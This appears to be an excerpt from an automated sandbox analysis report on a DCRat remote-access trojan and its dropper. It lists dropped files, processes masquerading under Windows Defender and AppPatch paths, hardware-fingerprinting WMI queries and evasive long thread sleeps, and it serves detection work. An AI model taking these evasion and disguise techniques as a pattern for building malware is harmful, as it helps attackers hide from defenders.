Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HhpobctW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\unicodedata.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mNQamoeL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jckJfaUS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qqOIYBOV.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\djHkCuPe.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\leXsAJYN.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aqsBQydf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingcms.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hogBtNYU.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Hxfnrnuk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\4.exe	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YMfkqJAE.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SvduSjUw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gQSsYLcl.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oGfIXkQJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_bz2.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wtLyrQzn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_queue.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JquWdkfi.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NZSNEIyK.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RugdLmIP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imaging.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AHaGtIaB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\1.exe	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GtlgqOyY.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YoGTvPZk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingmath.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vFGpGDDp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_decimal.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EZsfFKza.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\3.exe	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VkXUSiII.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xWvqmuPI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WvrkJSnm.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LtgEzTke.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NILvpmFI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jHIjfHde.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingtk.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AjBoyNzh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\5.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_2-23766

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_1-16377

Source: C:\MsComponentSvc\hyperServer.exe TID: 7548	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Defender\Offline\cmd.exe TID: 8156	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Defender\Offline\cmd.exe TID: 7020	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe TID: 928	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe TID: 2304	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7332	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -599873s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -599748s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7620	Thread sleep time: -39600000s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -598985s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -598625s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -598454s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -598297s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -597938s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -597657s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -597391s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -597047s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -594438s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -593922s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -593641s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -593360s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -593125s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -592860s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -592641s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -592313s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -592047s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -591641s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -591469s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -591047s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -590704s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -590360s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -590086s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -589873s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -589657s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -589188s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -588829s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -588485s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -588266s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -587954s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -587579s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -587297s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -586797s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -586485s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -586079s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -585594s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -585313s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -584934s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -584391s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -584141s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -583879s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -583547s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -583387s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -583254s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -583125s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -583014s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582907s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582791s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582686s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582578s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582467s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582339s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582222s >= -30000s
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe TID: 7652	Thread sleep time: -582094s >= -30000s

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\MsComponentSvc\hyperServer.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF7E54B7E4C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C1EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF7E54C1EE4
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54A88D0 FindFirstFileExW,FindClose,	1_2_00007FF7E54A88D0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF7E54B7E4C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	2_2_0087A69B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	2_2_0088C220

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 2_2_0088E6A3 VirtualQuery,GetSystemInfo,

2_2_0088E6A3

Source: C:\MsComponentSvc\hyperServer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 30000
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 600000
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 599873
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 599748
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598985
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598625
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598454
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598297
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597938
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597657
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597391
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597047
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 594438
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593922
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593641
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593360
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593125
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592860
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592641
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592313
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592047
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 591641
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 591469
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 591047
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 590704
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 590360
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 590086
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 589873
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 589657
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 589188
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 588829
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 588485
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 588266
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 587954
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 587579
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 587297
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 586797
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 586485
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 586079
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 585594
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 585313
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 584934
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 584391
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 584141
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583879
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583547
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583387
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583254
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583125
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583014
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582907
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582791
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582686
